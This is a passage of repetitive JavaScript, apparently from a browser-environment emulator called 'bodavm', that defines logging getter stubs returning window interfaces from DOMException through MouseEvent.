bodavm.memory.globalobj['DOMException']; console.log_copy(`window_DOMException`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMImplementation = function () { let arg = bodavm.memory.globalobj['DOMImplementation']; console.log_copy(`window_DOMImplementation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMMatrix = function () { let arg = bodavm.memory.globalobj['DOMMatrix']; console.log_copy(`window_DOMMatrix`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMMatrixReadOnly = function () { let arg = bodavm.memory.globalobj['DOMMatrixReadOnly']; console.log_copy(`window_DOMMatrixReadOnly`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMParser = function () { let arg = bodavm.memory.globalobj['DOMParser']; console.log_copy(`window_DOMParser`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMPoint = function () { let arg = bodavm.memory.globalobj['DOMPoint']; console.log_copy(`window_DOMPoint`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMPointReadOnly = function () { let arg = bodavm.memory.globalobj['DOMPointReadOnly']; console.log_copy(`window_DOMPointReadOnly`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMQuad = function () { let arg = bodavm.memory.globalobj['DOMQuad']; console.log_copy(`window_DOMQuad`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMRect = function () { let arg = bodavm.memory.globalobj['DOMRect']; console.log_copy(`window_DOMRect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMRectList = function () { let arg = bodavm.memory.globalobj['DOMRectList']; console.log_copy(`window_DOMRectList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMRectReadOnly = function () { let arg = bodavm.memory.globalobj['DOMRectReadOnly']; console.log_copy(`window_DOMRectReadOnly`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMStringList = function () { let arg = bodavm.memory.globalobj['DOMStringList']; console.log_copy(`window_DOMStringList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMStringMap = function () { let arg = bodavm.memory.globalobj['DOMStringMap']; console.log_copy(`window_DOMStringMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMTokenList = function () { let arg = bodavm.memory.globalobj['DOMTokenList']; console.log_copy(`window_DOMTokenList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DataTransfer = function () { let arg = bodavm.memory.globalobj['DataTransfer']; console.log_copy(`window_DataTransfer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DataTransferItem = function () { let arg = bodavm.memory.globalobj['DataTransferItem']; console.log_copy(`window_DataTransferItem`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DataTransferItemList = function () { let arg = bodavm.memory.globalobj['DataTransferItemList']; console.log_copy(`window_DataTransferItemList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DecompressionStream = function () { let arg = bodavm.memory.globalobj['DecompressionStream']; console.log_copy(`window_DecompressionStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DelayNode = function () { let arg = bodavm.memory.globalobj['DelayNode']; console.log_copy(`window_DelayNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DocumentFragment = function () { let arg = bodavm.memory.globalobj['DocumentFragment']; console.log_copy(`window_DocumentFragment`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DocumentType = function () { let arg = bodavm.memory.globalobj['DocumentType']; console.log_copy(`window_DocumentType`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DragEvent = function () { let arg = bodavm.memory.globalobj['DragEvent']; console.log_copy(`window_DragEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DynamicsCompressorNode = function () { let arg = bodavm.memory.globalobj['DynamicsCompressorNode']; console.log_copy(`window_DynamicsCompressorNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Element = function () { let arg = bodavm.memory.globalobj['Element']; console.log_copy(`window_Element`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ElementInternals = function () { let arg = bodavm.memory.globalobj['ElementInternals']; console.log_copy(`window_ElementInternals`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ErrorEvent = function () { let arg = bodavm.memory.globalobj['ErrorEvent']; console.log_copy(`window_ErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Event = function () { let arg = bodavm.memory.globalobj['Event']; console.log_copy(`window_Event`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EventCounts = function () { let arg = bodavm.memory.globalobj['EventCounts']; console.log_copy(`window_EventCounts`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EventSource = function () { let arg = bodavm.memory.globalobj['EventSource']; console.log_copy(`window_EventSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EventTarget = function () { let arg = bodavm.memory.globalobj['EventTarget']; console.log_copy(`window_EventTarget`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FeaturePolicy = function () { let arg = bodavm.memory.globalobj['FeaturePolicy']; console.log_copy(`window_FeaturePolicy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_File = function () { let arg = bodavm.memory.globalobj['File']; console.log_copy(`window_File`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileList = function () { let arg = bodavm.memory.globalobj['FileList']; console.log_copy(`window_FileList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileReader = function () { let arg = bodavm.memory.globalobj['FileReader']; console.log_copy(`window_FileReader`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FocusEvent = function () { let arg = bodavm.memory.globalobj['FocusEvent']; console.log_copy(`window_FocusEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FontFace = function () { let arg = bodavm.memory.globalobj['FontFace']; console.log_copy(`window_FontFace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FontFaceSetLoadEvent = function () { let arg = bodavm.memory.globalobj['FontFaceSetLoadEvent']; console.log_copy(`window_FontFaceSetLoadEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FormData = function () { let arg = bodavm.memory.globalobj['FormData']; console.log_copy(`window_FormData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FormDataEvent = function () { let arg = bodavm.memory.globalobj['FormDataEvent']; console.log_copy(`window_FormDataEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GainNode = function () { let arg = bodavm.memory.globalobj['GainNode']; console.log_copy(`window_GainNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Gamepad = function () { let arg = bodavm.memory.globalobj['Gamepad']; console.log_copy(`window_Gamepad`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GamepadButton = function () { let arg = bodavm.memory.globalobj['GamepadButton']; console.log_copy(`window_GamepadButton`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GamepadEvent = function () { let arg = bodavm.memory.globalobj['GamepadEvent']; console.log_copy(`window_GamepadEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GamepadHapticActuator = function () { let arg = bodavm.memory.globalobj['GamepadHapticActuator']; console.log_copy(`window_GamepadHapticActuator`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Geolocation = function () { let arg = bodavm.memory.globalobj['Geolocation']; console.log_copy(`window_Geolocation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GeolocationCoordinates = function () { let arg = bodavm.memory.globalobj['GeolocationCoordinates']; console.log_copy(`window_GeolocationCoordinates`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GeolocationPosition = function () { let arg = bodavm.memory.globalobj['GeolocationPosition']; console.log_copy(`window_GeolocationPosition`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GeolocationPositionError = function () { let arg = bodavm.memory.globalobj['GeolocationPositionError']; console.log_copy(`window_GeolocationPositionError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLAllCollection = function () { let arg = bodavm.memory.globalobj['HTMLAllCollection']; console.log_copy(`window_HTMLAllCollection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLAnchorElement = function () { let arg = bodavm.memory.globalobj['HTMLAnchorElement']; console.log_copy(`window_HTMLAnchorElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLAreaElement = function () { let arg = bodavm.memory.globalobj['HTMLAreaElement']; console.log_copy(`window_HTMLAreaElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLAudioElement = function () { let arg = bodavm.memory.globalobj['HTMLAudioElement']; console.log_copy(`window_HTMLAudioElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLBRElement = function () { let arg = bodavm.memory.globalobj['HTMLBRElement']; console.log_copy(`window_HTMLBRElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLBaseElement = function () { let arg = bodavm.memory.globalobj['HTMLBaseElement']; console.log_copy(`window_HTMLBaseElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLBodyElement = function () { let arg = bodavm.memory.globalobj['HTMLBodyElement']; console.log_copy(`window_HTMLBodyElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLButtonElement = function () { let arg = bodavm.memory.globalobj['HTMLButtonElement']; console.log_copy(`window_HTMLButtonElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLCanvasElement = function () { let arg = bodavm.memory.globalobj['HTMLCanvasElement']; console.log_copy(`window_HTMLCanvasElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLCollection = function () { let arg = bodavm.memory.globalobj['HTMLCollection']; console.log_copy(`window_HTMLCollection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDListElement = function () { let arg = bodavm.memory.globalobj['HTMLDListElement']; console.log_copy(`window_HTMLDListElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDataElement = function () { let arg = bodavm.memory.globalobj['HTMLDataElement']; console.log_copy(`window_HTMLDataElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDataListElement = function () { let arg = bodavm.memory.globalobj['HTMLDataListElement']; console.log_copy(`window_HTMLDataListElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDetailsElement = function () { let arg = bodavm.memory.globalobj['HTMLDetailsElement']; console.log_copy(`window_HTMLDetailsElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDialogElement = function () { let arg = bodavm.memory.globalobj['HTMLDialogElement']; console.log_copy(`window_HTMLDialogElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDirectoryElement = function () { let arg = bodavm.memory.globalobj['HTMLDirectoryElement']; console.log_copy(`window_HTMLDirectoryElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDivElement = function () { let arg = bodavm.memory.globalobj['HTMLDivElement']; console.log_copy(`window_HTMLDivElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLDocument = function () { let arg = bodavm.memory.globalobj['HTMLDocument']; console.log_copy(`window_HTMLDocument`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLElement = function () { let arg = bodavm.memory.globalobj['HTMLElement']; console.log_copy(`window_HTMLElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLEmbedElement = function () { let arg = bodavm.memory.globalobj['HTMLEmbedElement']; console.log_copy(`window_HTMLEmbedElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFieldSetElement = function () { let arg = bodavm.memory.globalobj['HTMLFieldSetElement']; console.log_copy(`window_HTMLFieldSetElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFontElement = function () { let arg = bodavm.memory.globalobj['HTMLFontElement']; console.log_copy(`window_HTMLFontElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFormControlsCollection = function () { let arg = bodavm.memory.globalobj['HTMLFormControlsCollection']; console.log_copy(`window_HTMLFormControlsCollection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFormElement = function () { let arg = bodavm.memory.globalobj['HTMLFormElement']; console.log_copy(`window_HTMLFormElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFrameElement = function () { let arg = bodavm.memory.globalobj['HTMLFrameElement']; console.log_copy(`window_HTMLFrameElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLFrameSetElement = function () { let arg = bodavm.memory.globalobj['HTMLFrameSetElement']; console.log_copy(`window_HTMLFrameSetElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLHRElement = function () { let arg = bodavm.memory.globalobj['HTMLHRElement']; console.log_copy(`window_HTMLHRElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLHeadElement = function () { let arg = bodavm.memory.globalobj['HTMLHeadElement']; console.log_copy(`window_HTMLHeadElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLHeadingElement = function () { let arg = bodavm.memory.globalobj['HTMLHeadingElement']; console.log_copy(`window_HTMLHeadingElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLHtmlElement = function () { let arg = bodavm.memory.globalobj['HTMLHtmlElement']; console.log_copy(`window_HTMLHtmlElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLIFrameElement = function () { let arg = bodavm.memory.globalobj['HTMLIFrameElement']; console.log_copy(`window_HTMLIFrameElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLImageElement = function () { let arg = bodavm.memory.globalobj['HTMLImageElement']; console.log_copy(`window_HTMLImageElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLInputElement = function () { let arg = bodavm.memory.globalobj['HTMLInputElement']; console.log_copy(`window_HTMLInputElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLLIElement = function () { let arg = bodavm.memory.globalobj['HTMLLIElement']; console.log_copy(`window_HTMLLIElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLLabelElement = function () { let arg = bodavm.memory.globalobj['HTMLLabelElement']; console.log_copy(`window_HTMLLabelElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLLegendElement = function () { let arg = bodavm.memory.globalobj['HTMLLegendElement']; console.log_copy(`window_HTMLLegendElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLLinkElement = function () { let arg = bodavm.memory.globalobj['HTMLLinkElement']; console.log_copy(`window_HTMLLinkElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMapElement = function () { let arg = bodavm.memory.globalobj['HTMLMapElement']; console.log_copy(`window_HTMLMapElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMarqueeElement = function () { let arg = bodavm.memory.globalobj['HTMLMarqueeElement']; console.log_copy(`window_HTMLMarqueeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMediaElement = function () { let arg = bodavm.memory.globalobj['HTMLMediaElement']; console.log_copy(`window_HTMLMediaElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMenuElement = function () { let arg = bodavm.memory.globalobj['HTMLMenuElement']; console.log_copy(`window_HTMLMenuElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMetaElement = function () { let arg = bodavm.memory.globalobj['HTMLMetaElement']; console.log_copy(`window_HTMLMetaElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLMeterElement = function () { let arg = bodavm.memory.globalobj['HTMLMeterElement']; console.log_copy(`window_HTMLMeterElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLModElement = function () { let arg = bodavm.memory.globalobj['HTMLModElement']; console.log_copy(`window_HTMLModElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOListElement = function () { let arg = bodavm.memory.globalobj['HTMLOListElement']; console.log_copy(`window_HTMLOListElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLObjectElement = function () { let arg = bodavm.memory.globalobj['HTMLObjectElement']; console.log_copy(`window_HTMLObjectElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOptGroupElement = function () { let arg = bodavm.memory.globalobj['HTMLOptGroupElement']; console.log_copy(`window_HTMLOptGroupElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOptionElement = function () { let arg = bodavm.memory.globalobj['HTMLOptionElement']; console.log_copy(`window_HTMLOptionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOptionsCollection = function () { let arg = bodavm.memory.globalobj['HTMLOptionsCollection']; console.log_copy(`window_HTMLOptionsCollection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLOutputElement = function () { let arg = bodavm.memory.globalobj['HTMLOutputElement']; console.log_copy(`window_HTMLOutputElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLParagraphElement = function () { let arg = bodavm.memory.globalobj['HTMLParagraphElement']; console.log_copy(`window_HTMLParagraphElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLParamElement = function () { let arg = bodavm.memory.globalobj['HTMLParamElement']; console.log_copy(`window_HTMLParamElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLPictureElement = function () { let arg = bodavm.memory.globalobj['HTMLPictureElement']; console.log_copy(`window_HTMLPictureElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLPreElement = function () { let arg = bodavm.memory.globalobj['HTMLPreElement']; console.log_copy(`window_HTMLPreElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLProgressElement = function () { let arg = bodavm.memory.globalobj['HTMLProgressElement']; console.log_copy(`window_HTMLProgressElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLQuoteElement = function () { let arg = bodavm.memory.globalobj['HTMLQuoteElement']; console.log_copy(`window_HTMLQuoteElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLScriptElement = function () { let arg = bodavm.memory.globalobj['HTMLScriptElement']; console.log_copy(`window_HTMLScriptElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLSelectElement = function () { let arg = bodavm.memory.globalobj['HTMLSelectElement']; console.log_copy(`window_HTMLSelectElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLSlotElement = function () { let arg = bodavm.memory.globalobj['HTMLSlotElement']; console.log_copy(`window_HTMLSlotElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLSourceElement = function () { let arg = bodavm.memory.globalobj['HTMLSourceElement']; console.log_copy(`window_HTMLSourceElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLSpanElement = function () { let arg = bodavm.memory.globalobj['HTMLSpanElement']; console.log_copy(`window_HTMLSpanElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLStyleElement = function () { let arg = bodavm.memory.globalobj['HTMLStyleElement']; console.log_copy(`window_HTMLStyleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableCaptionElement = function () { let arg = bodavm.memory.globalobj['HTMLTableCaptionElement']; console.log_copy(`window_HTMLTableCaptionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableCellElement = function () { let arg = bodavm.memory.globalobj['HTMLTableCellElement']; console.log_copy(`window_HTMLTableCellElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableColElement = function () { let arg = bodavm.memory.globalobj['HTMLTableColElement']; console.log_copy(`window_HTMLTableColElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableElement = function () { let arg = bodavm.memory.globalobj['HTMLTableElement']; console.log_copy(`window_HTMLTableElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableRowElement = function () { let arg = bodavm.memory.globalobj['HTMLTableRowElement']; console.log_copy(`window_HTMLTableRowElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTableSectionElement = function () { let arg = bodavm.memory.globalobj['HTMLTableSectionElement']; console.log_copy(`window_HTMLTableSectionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTemplateElement = function () { let arg = bodavm.memory.globalobj['HTMLTemplateElement']; console.log_copy(`window_HTMLTemplateElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTextAreaElement = function () { let arg = bodavm.memory.globalobj['HTMLTextAreaElement']; console.log_copy(`window_HTMLTextAreaElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTimeElement = function () { let arg = bodavm.memory.globalobj['HTMLTimeElement']; console.log_copy(`window_HTMLTimeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTitleElement = function () { let arg = bodavm.memory.globalobj['HTMLTitleElement']; console.log_copy(`window_HTMLTitleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLTrackElement = function () { let arg = bodavm.memory.globalobj['HTMLTrackElement']; console.log_copy(`window_HTMLTrackElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLUListElement = function () { let arg = bodavm.memory.globalobj['HTMLUListElement']; console.log_copy(`window_HTMLUListElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLUnknownElement = function () { let arg = bodavm.memory.globalobj['HTMLUnknownElement']; console.log_copy(`window_HTMLUnknownElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HTMLVideoElement = function () { let arg = bodavm.memory.globalobj['HTMLVideoElement']; console.log_copy(`window_HTMLVideoElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HashChangeEvent = function () { let arg = bodavm.memory.globalobj['HashChangeEvent']; console.log_copy(`window_HashChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Headers = function () { let arg = bodavm.memory.globalobj['Headers']; console.log_copy(`window_Headers`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBCursor = function () { let arg = bodavm.memory.globalobj['IDBCursor']; console.log_copy(`window_IDBCursor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBCursorWithValue = function () { let arg = bodavm.memory.globalobj['IDBCursorWithValue']; console.log_copy(`window_IDBCursorWithValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBIndex = function () { let arg = bodavm.memory.globalobj['IDBIndex']; console.log_copy(`window_IDBIndex`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBKeyRange = function () { let arg = bodavm.memory.globalobj['IDBKeyRange']; console.log_copy(`window_IDBKeyRange`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBObjectStore = function () { let arg = bodavm.memory.globalobj['IDBObjectStore']; console.log_copy(`window_IDBObjectStore`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBOpenDBRequest = function () { let arg = bodavm.memory.globalobj['IDBOpenDBRequest']; console.log_copy(`window_IDBOpenDBRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBRequest = function () { let arg = bodavm.memory.globalobj['IDBRequest']; console.log_copy(`window_IDBRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBTransaction = function () { let arg = bodavm.memory.globalobj['IDBTransaction']; console.log_copy(`window_IDBTransaction`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IDBVersionChangeEvent = function () { let arg = bodavm.memory.globalobj['IDBVersionChangeEvent']; console.log_copy(`window_IDBVersionChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IIRFilterNode = function () { let arg = bodavm.memory.globalobj['IIRFilterNode']; console.log_copy(`window_IIRFilterNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IdleDeadline = function () { let arg = bodavm.memory.globalobj['IdleDeadline']; console.log_copy(`window_IdleDeadline`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageBitmap = function () { let arg = bodavm.memory.globalobj['ImageBitmap']; console.log_copy(`window_ImageBitmap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageBitmapRenderingContext = function () { let arg = bodavm.memory.globalobj['ImageBitmapRenderingContext']; console.log_copy(`window_ImageBitmapRenderingContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageCapture = function () { let arg = bodavm.memory.globalobj['ImageCapture']; console.log_copy(`window_ImageCapture`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageData = function () { let arg = bodavm.memory.globalobj['ImageData']; console.log_copy(`window_ImageData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_InputDeviceCapabilities = function () { let arg = bodavm.memory.globalobj['InputDeviceCapabilities']; console.log_copy(`window_InputDeviceCapabilities`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_InputDeviceInfo = function () { let arg = bodavm.memory.globalobj['InputDeviceInfo']; console.log_copy(`window_InputDeviceInfo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_InputEvent = function () { let arg = bodavm.memory.globalobj['InputEvent']; console.log_copy(`window_InputEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IntersectionObserver = function () { let arg = bodavm.memory.globalobj['IntersectionObserver']; console.log_copy(`window_IntersectionObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IntersectionObserverEntry = function () { let arg = bodavm.memory.globalobj['IntersectionObserverEntry']; console.log_copy(`window_IntersectionObserverEntry`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_KeyboardEvent = function () { let arg = bodavm.memory.globalobj['KeyboardEvent']; console.log_copy(`window_KeyboardEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_KeyframeEffect = function () { let arg = bodavm.memory.globalobj['KeyframeEffect']; console.log_copy(`window_KeyframeEffect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LargestContentfulPaint = function () { let arg = bodavm.memory.globalobj['LargestContentfulPaint']; console.log_copy(`window_LargestContentfulPaint`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LayoutShift = function () { let arg = bodavm.memory.globalobj['LayoutShift']; console.log_copy(`window_LayoutShift`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LayoutShiftAttribution = function () { let arg = bodavm.memory.globalobj['LayoutShiftAttribution']; console.log_copy(`window_LayoutShiftAttribution`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaCapabilities = function () { let arg = bodavm.memory.globalobj['MediaCapabilities']; console.log_copy(`window_MediaCapabilities`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaElementAudioSourceNode = function () { let arg = bodavm.memory.globalobj['MediaElementAudioSourceNode']; console.log_copy(`window_MediaElementAudioSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaEncryptedEvent = function () { let arg = bodavm.memory.globalobj['MediaEncryptedEvent']; console.log_copy(`window_MediaEncryptedEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaError = function () { let arg = bodavm.memory.globalobj['MediaError']; console.log_copy(`window_MediaError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaList = function () { let arg = bodavm.memory.globalobj['MediaList']; console.log_copy(`window_MediaList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaQueryList = function () { let arg = bodavm.memory.globalobj['MediaQueryList']; console.log_copy(`window_MediaQueryList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaQueryListEvent = function () { let arg = bodavm.memory.globalobj['MediaQueryListEvent']; console.log_copy(`window_MediaQueryListEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaRecorder = function () { let arg = bodavm.memory.globalobj['MediaRecorder']; console.log_copy(`window_MediaRecorder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStream = function () { let arg = bodavm.memory.globalobj['MediaStream']; console.log_copy(`window_MediaStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamAudioDestinationNode = function () { let arg = bodavm.memory.globalobj['MediaStreamAudioDestinationNode']; console.log_copy(`window_MediaStreamAudioDestinationNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamAudioSourceNode = function () { let arg = bodavm.memory.globalobj['MediaStreamAudioSourceNode']; console.log_copy(`window_MediaStreamAudioSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamEvent = function () { let arg = bodavm.memory.globalobj['MediaStreamEvent']; console.log_copy(`window_MediaStreamEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamTrackEvent = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackEvent']; console.log_copy(`window_MediaStreamTrackEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MessageChannel = function () { let arg = bodavm.memory.globalobj['MessageChannel']; console.log_copy(`window_MessageChannel`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MessageEvent = function () { let arg = bodavm.memory.globalobj['MessageEvent']; console.log_copy(`window_MessageEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MessagePort = function () { let arg = bodavm.memory.globalobj['MessagePort']; console.log_copy(`window_MessagePort`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MimeType = function () { let arg = bodavm.memory.globalobj['MimeType']; console.log_copy(`window_MimeType`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MimeTypeArray = function () { let arg = bodavm.memory.globalobj['MimeTypeArray']; console.log_copy(`window_MimeTypeArray`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MouseEvent = function () { let arg = bodavm.memory.globalobj['MouseEvent']; console.log_copy(`window_MouseEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MutationEvent = function () { let arg = 